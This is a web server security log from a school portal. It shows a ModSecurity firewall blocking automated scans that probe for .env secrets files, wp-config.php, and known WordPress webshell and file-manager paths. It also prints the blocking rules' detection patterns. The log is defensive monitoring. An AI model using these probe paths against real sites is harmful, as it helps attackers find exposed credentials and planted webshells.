[Tue Apr 14 13:40:55.467623 2026] [:error] [pid 35630:tid 35697] [client 15.188.193.200:40448] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.stage"] [unique_id "ad3TZzer0pVFxOiOauUCYgAAAIs"]
[Tue Apr 14 13:40:56.479809 2026] [:error] [pid 37048:tid 37060] [client 15.188.193.200:40452] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.ci"] [unique_id "ad3TaJ52Bo1OyzeXo_zfkAAAAQo"]
[Tue Apr 14 13:40:57.487013 2026] [:error] [pid 35629:tid 35679] [client 15.188.193.200:40458] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.docker"] [unique_id "ad3TaTY8VahzC1YJBSjxOgAAAFQ"]
[Tue Apr 14 13:40:58.486079 2026] [:error] [pid 37226:tid 37232] [client 15.188.193.200:40470] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.live"] [unique_id "ad3TapOA5-IQ0IVmQCopVgAAAUQ"]
[Tue Apr 14 13:40:59.501252 2026] [:error] [pid 18776:tid 18799] [client 15.188.193.200:40474] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.preprod"] [unique_id "ad3Ta8IjIcAYZxezzAWi5gAAAdU"]
[Tue Apr 14 13:41:00.512280 2026] [:error] [pid 35713:tid 35723] [client 15.188.193.200:40486] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.uat"] [unique_id "ad3TbK6-hhx6ZepqOSlWlwAAAMc"]
[Tue Apr 14 13:41:01.525626 2026] [:error] [pid 35630:tid 35701] [client 15.188.193.200:40502] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dist"] [unique_id "ad3TbTer0pVFxOiOauUCawAAAI8"]
[Tue Apr 14 13:41:02.564342 2026] [:error] [pid 35630:tid 35696] [client 15.188.193.200:40518] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.swp"] [unique_id "ad3Tbjer0pVFxOiOauUCcAAAAIo"]
[Tue Apr 14 13:41:03.590984 2026] [:error] [pid 35630:tid 35709] [client 15.188.193.200:40522] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env~"] [unique_id "ad3Tbzer0pVFxOiOauUCdQAAAJc"]
[Tue Apr 14 13:41:04.597195 2026] [:error] [pid 35629:tid 35662] [client 15.188.193.200:52202] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env"] [unique_id "ad3TcDY8VahzC1YJBSjxPwAAAEM"]
[Tue Apr 14 13:41:05.607143 2026] [:error] [pid 35629:tid 35682] [client 15.188.193.200:52206] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/apps/.env"] [unique_id "ad3TcTY8VahzC1YJBSjxQgAAAFc"]
[Tue Apr 14 13:41:06.622695 2026] [:error] [pid 18776:tid 18794] [client 15.188.193.200:52216] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/.env"] [unique_id "ad3TcsIjIcAYZxezzAWi6AAAAdA"]
[Tue Apr 14 13:41:07.627677 2026] [:error] [pid 35630:tid 35689] [client 15.188.193.200:52218] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/web/.env"] [unique_id "ad3Tczer0pVFxOiOauUChAAAAIM"]
[Tue Apr 14 13:41:08.641863 2026] [:error] [pid 35630:tid 35707] [client 15.188.193.200:52220] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/site/.env"] [unique_id "ad3TdDer0pVFxOiOauUChgAAAJU"]
[Tue Apr 14 13:41:09.641499 2026] [:error] [pid 35713:tid 35738] [client 15.188.193.200:52236] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/public/.env"] [unique_id "ad3Tda6-hhx6ZepqOSlWmwAAANY"]
[Tue Apr 14 13:41:10.657731 2026] [:error] [pid 35630:tid 35691] [client 15.188.193.200:52252] [client 15.188.193.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/admin/.env"] [unique_id "ad3Tdjer0pVFxOiOauUCiAAAAIU"]
[Wed Apr 15 14:48:56.356826 2026] [proxy_fcgi:error] [pid 11385:tid 11447] [client 168.144.33.142:56560] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 14:48:56.357256 2026] [proxy_fcgi:error] [pid 12433:tid 12452] [client 168.144.33.142:56561] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 14:48:56.357608 2026] [proxy_fcgi:error] [pid 12433:tid 12438] [client 168.144.33.142:56559] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 14:48:56.762173 2026] [proxy_fcgi:error] [pid 12433:tid 12446] [client 168.144.33.142:56559] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 14:48:59.532041 2026] [:error] [pid 12433:tid 12448] [client 168.144.33.142:56559] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/install.php"] [unique_id "ad8027wxDHWF005pP_6J2QAAAQ0"]
[Wed Apr 15 14:48:59.532679 2026] [:error] [pid 12396:tid 12417] [client 168.144.33.142:56562] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/sitemaps/providers/zmFM.php"] [unique_id "ad8028CQWGYUWgxc5kji6AAAAJM"]
[Wed Apr 15 14:48:59.535626 2026] [proxy_fcgi:error] [pid 12433:tid 12446] [client 168.144.33.142:56561] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 14:48:59.725652 2026] [:error] [pid 12433:tid 12439] [client 168.144.33.142:56561] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/pomo/zmFM.php"] [unique_id "ad8027wxDHWF005pP_6J2wAAAQQ"]
[Wed Apr 15 14:48:59.727120 2026] [:error] [pid 11384:tid 11438] [client 168.144.33.142:56558] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/PHPMailer/zmFM.php"] [unique_id "ad8023Ohpt4MrQIXF7B1vwAAAFA"]
[Wed Apr 15 14:48:59.816080 2026] [:error] [pid 12433:tid 12449] [client 168.144.33.142:57259] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/certificates/zmFM.php"] [unique_id "ad8027wxDHWF005pP_6J3QAAAQ4"]
[Wed Apr 15 14:48:59.816102 2026] [:error] [pid 12433:tid 12457] [client 168.144.33.142:57258] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/customize/zmFM.php"] [unique_id "ad8027wxDHWF005pP_6J3AAAARY"]
[Wed Apr 15 14:49:03.253047 2026] [:error] [pid 11385:tid 11446] [client 168.144.33.142:56560] [client 168.144.33.142] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "17.22.237.150_63602611b12314b02241d675a089b5d3356a102c"): Internal error (specific information not available) [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-admin/css/colors/ectoplasm/zmFM.php"] [unique_id "ad802x_mZoXMMCiUoKUq0wAAAMA"]
[Wed Apr 15 14:49:03.254342 2026] [:error] [pid 11385:tid 11446] [client 168.144.33.142:56560] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/theme-compat/zmFM.php"] [unique_id "ad803x_mZoXMMCiUoKUq2gAAAMA"]
[Wed Apr 15 14:49:03.356151 2026] [:error] [pid 12396:tid 12419] [client 168.144.33.142:57266] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/SimplePie/Content/Type/index.php"] [unique_id "ad8038CQWGYUWgxc5kji6wAAAJU"]
[Wed Apr 15 14:49:03.361834 2026] [:error] [pid 11383:tid 11417] [client 168.144.33.142:57268] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "ad803zOMRk2pAgm2-j68DAAAABY"]
[Wed Apr 15 14:49:06.962129 2026] [:error] [pid 11385:tid 11452] [client 168.144.33.142:57267] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/filemanager.php"] [unique_id "ad804h_mZoXMMCiUoKUq5QAAAMQ"]
[Wed Apr 15 14:49:06.962625 2026] [:error] [pid 12433:tid 12436] [client 168.144.33.142:57265] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/fm.php"] [unique_id "ad804rwxDHWF005pP_6KEwAAAQE"]
[Wed Apr 15 14:49:12.433071 2026] [:error] [pid 11384:tid 11443] [client 168.144.33.142:58582] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/tinyfilemanager.php"] [unique_id "ad806HOhpt4MrQIXF7B2RgAAAFU"]
[Wed Apr 15 14:49:13.967977 2026] [:error] [pid 11384:tid 11423] [client 168.144.33.142:57937] [client 168.144.33.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.144.33.142, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-admin/wp-login.php"] [unique_id "ad806XOhpt4MrQIXF7B2VgAAAEE"]
[Wed Apr 15 14:49:14.168275 2026] [:error] [pid 12433:tid 12441] [client 168.144.33.142:57880] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-config.php"] [unique_id "ad806rwxDHWF005pP_6KVAAAAQY"]
[Wed Apr 15 14:49:15.437393 2026] [:error] [pid 11384:tid 11439] [client 168.144.33.142:57937] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/assets/index.php"] [unique_id "ad8063Ohpt4MrQIXF7B2YwAAAFE"]
[Wed Apr 15 14:49:15.437698 2026] [:error] [pid 12433:tid 12446] [client 168.144.33.142:57936] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "ad8067wxDHWF005pP_6KYQAAAQs"]
[Wed Apr 15 14:49:15.438522 2026] [:error] [pid 11475:tid 11485] [client 168.144.33.142:59513] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "ad80657upE98bj816HO6HgAAAUg"]
[Wed Apr 15 14:49:15.438625 2026] [:error] [pid 11384:tid 11437] [client 168.144.33.142:58583] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/assets/wp-login.php"] [unique_id "ad8063Ohpt4MrQIXF7B2ZAAAAE8"]
[Wed Apr 15 14:49:15.438997 2026] [:error] [pid 12433:tid 12441] [client 168.144.33.142:59760] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/content.php"] [unique_id "ad8067wxDHWF005pP_6KYgAAAQY"]
[Wed Apr 15 14:49:15.619842 2026] [:error] [pid 12433:tid 12459] [client 168.144.33.142:59991] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/cron.php"] [unique_id "ad8067wxDHWF005pP_6KYwAAARg"]
[Wed Apr 15 14:49:15.622468 2026] [:error] [pid 12433:tid 12445] [client 168.144.33.142:59994] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/css/themes.php"] [unique_id "ad8067wxDHWF005pP_6KZAAAAQo"]
[Wed Apr 15 14:49:15.622592 2026] [:error] [pid 12433:tid 12443] [client 168.144.33.142:59993] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/css/index.php"] [unique_id "ad8067wxDHWF005pP_6KZgAAAQg"]
[Wed Apr 15 14:49:15.622775 2026] [:error] [pid 12433:tid 12453] [client 168.144.33.142:59992] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/css/gelay.php"] [unique_id "ad8067wxDHWF005pP_6KZQAAARI"]
[Wed Apr 15 14:49:15.622926 2026] [:error] [pid 12433:tid 12456] [client 168.144.33.142:59995] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/css/wp-login.php"] [unique_id "ad8067wxDHWF005pP_6KZwAAARU"]
[Wed Apr 15 14:49:15.811191 2026] [:error] [pid 12396:tid 12416] [client 168.144.33.142:60033] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/default.php"] [unique_id "ad8068CQWGYUWgxc5kji8AAAAJI"]
[Wed Apr 15 14:49:15.811152 2026] [:error] [pid 12396:tid 12421] [client 168.144.33.142:60027] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/customize/index.php"] [unique_id "ad8068CQWGYUWgxc5kji7wAAAJc"]
[Wed Apr 15 14:49:15.815763 2026] [:error] [pid 11475:tid 11491] [client 168.144.33.142:60034] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "ad80657upE98bj816HO6IQAAAU4"]
[Wed Apr 15 14:49:15.815902 2026] [:error] [pid 11383:tid 11395] [client 168.144.33.142:60036] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/fonts/iq.php"] [unique_id "ad806zOMRk2pAgm2-j68FAAAAAA"]
[Wed Apr 15 14:49:15.816282 2026] [:error] [pid 11475:tid 11493] [client 168.144.33.142:60035] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/fonts/dev.php"] [unique_id "ad80657upE98bj816HO6IgAAAVA"]
[Wed Apr 15 14:49:16.001162 2026] [:error] [pid 11384:tid 11440] [client 168.144.33.142:60055] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/fonts/iqb.php"] [unique_id "ad807HOhpt4MrQIXF7B2ZQAAAFI"]
[Wed Apr 15 14:49:16.002495 2026] [:error] [pid 11384:tid 11423] [client 168.144.33.142:60057] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "ad807HOhpt4MrQIXF7B2ZgAAAEE"]
[Wed Apr 15 14:49:16.002573 2026] [:error] [pid 11385:tid 11467] [client 168.144.33.142:60056] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/fw.php"] [unique_id "ad807B_mZoXMMCiUoKUq6AAAANI"]
[Wed Apr 15 14:49:16.002733 2026] [:error] [pid 11384:tid 11442] [client 168.144.33.142:60058] [client 168.144.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/images/include.php"] [unique_id "ad807HOhpt4MrQIXF7B2ZwAAAFQ"]
